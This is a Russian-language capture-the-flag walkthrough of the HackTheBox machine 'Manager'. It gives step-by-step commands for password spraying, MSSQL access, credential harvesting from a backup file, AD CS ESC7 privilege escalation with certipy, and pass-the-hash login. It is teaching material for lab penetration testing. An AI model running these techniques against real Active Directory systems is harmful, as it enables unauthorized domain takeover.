HTB Manager. Проводим атаку на центр сертификатов в Active Directory
Привествую вас, дорогие читатели, на связи компания AP Security. Сегодня мы с вами пройдем Windows-машину Manager на HackTheBox.
Сканирование и разведка
Для обнаружения активных сервисов просканируем машину с помощью Nmap:
nmap -sC -sV -p- -T4 10.10.11.236
Попробуем определить активных пользователей с помощью CrackMapExec, используя опцию--rid-brute
:
crackmapexec smb 10.10.11.236 -u anonymous -p ' ' --rid-brute
В результате получим список пользователей, который можно применить для дальнейшего развития вектора атаки. Список сохраним в отдельный файл, приведем к нижнему регистру и попробуем поспреить пароли на различные сервисы. К счастью у нас это получится, ведь CrackMapExec поддерживает работу с большим количеством протоколов Microsoft.
crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt
Обнаружим, что у пользователя operator пароль совпадает с юзернеймом для службы MsSQL:
Точка входа
Имея учетные данные к mssql, мы можем воспользоваться модулем mssqlclient из утилиты Impacket для подключения к базе данных:
impacket-mssqlclient manager.htb/operator:operator@10.10.11.236
-windows-auth
Итак, мы успешно получили удаленный доступ к базе данных! Попробуем выполнить следующую команду для просмотра корневой папки:
exec xp_dirtree 'C:\inetpub\wwroot',1,1;
У процедуры xp_dirtree
три параметра:
directory — путь для получения списка папок и файлов
depth — сколько уровней вложенных папок следует сканировать (по умолчанию 0 — все подпапки)
file — кроме списка папок возвращать список файлов (по умолчанию 0 — отображать только папки)
Данная команда выводит список папок и файлов в указанном пути.
Вы можете подробнее ознакомиться с методологией тестирования на проникновения MsSQL на HackTricks.
Хм, любопытный архив с названием website-backup. Выкачаем его с помощью wget
:
wget 10.10.11.236/website-backup-27-07-23-old.zip
Распакуем архив и найдем там файл .old-conf.xml. Просмотрим его содержимое на наличие какой-либо интересной нам информации:
Отлично, мы получили учетные данные пользователя raven. Попробуем креды для подключения к машине с помощью утилиты Evil-WinRM:
evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
Здесь же в директории C:\Users\Raven\Desktop
будет лежать файл с флагом user.txt
Повышение привилегий
Посмотрим информацию о пользователе с помощью команды whoami \all
Пользователь состоит в группе BUILTIN\Certificate Service
. Воспользуемся утилитой certipy-ad для поиска уязвимостей в службе сертификатов:
certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
-dc-ip 10.10.11.236
Просмотрим сохраненный файл на предмет обнаружения уязвимостей:
Служба сертификатов уязвима к атаке ESC7. В данной службе Active Directory, есть шаблон, который по умолчанию уязвим к ESC1, — SubCA, но выпускать его могут лишь пользователи, входящие в группу Domain Admins.
ESC7 возможен из-за того, что запросы, которые завершились неудачей, сохраняются и могут быть запрошены повторно. Пользователи, имеющие права Manage CA и Manage Certificates на центр сертификации, могут перевыполнять неудачные запросы на выпуск сертификата и выпускать SubCA на любого пользователя.
Первым делом синхронизируем наше время с контроллером домена:
sudo rdate -n 10.10.11.236
Чтобы перевыполнять неудачные запросы, как я указал выше, нам нужно иметь права Manage CA и Manage Certificates. Мы можем предоставить себе это право, добавив нашего пользователя в качестве нового сотрудника:
certipy ca -ca 'manager-DC01-CA' -add-officer raven
-username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
-dc-ip 10.10.11.236
Шаблон SubCA может быть включен на центре сертификатов с помощью параметра-enable-template
:
certipy ca -ca 'manager-DC01-CA' -username raven@manager.htb
-password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
-enable-template 'SubCA'
Далее активируем сам SubCA:
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236
-template SubCA -upn administrator@manager.htb
Запросим сертификат на основе шаблона SubCA. Запрос будет отклонен, но мы сохраним себе закрытый ключ и запишем идентификатор запроса:
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
С помощью команд Manage CA и Manage Certificates мы можем выпустить запрос на неудачный сертификат с помощью команды ca
и параметра-issue-request
:
certipy-ad ca -ca 'manager-DC01-CA' -issue-request 18 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Сохранив сертификат, выпустим его на пользователя administrator:
certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 - retrieve 18
Получив сертификат, пройдем аутентификацию и запросим новый хеш пароля для нашего порльзователя:
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
Получив хеш пароля, подключимся к машине, воспользовавшись утилитой PsExec:
impacket-psexec manager.htb/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef -dc-ip 10.10.11.236
Машина пройдена!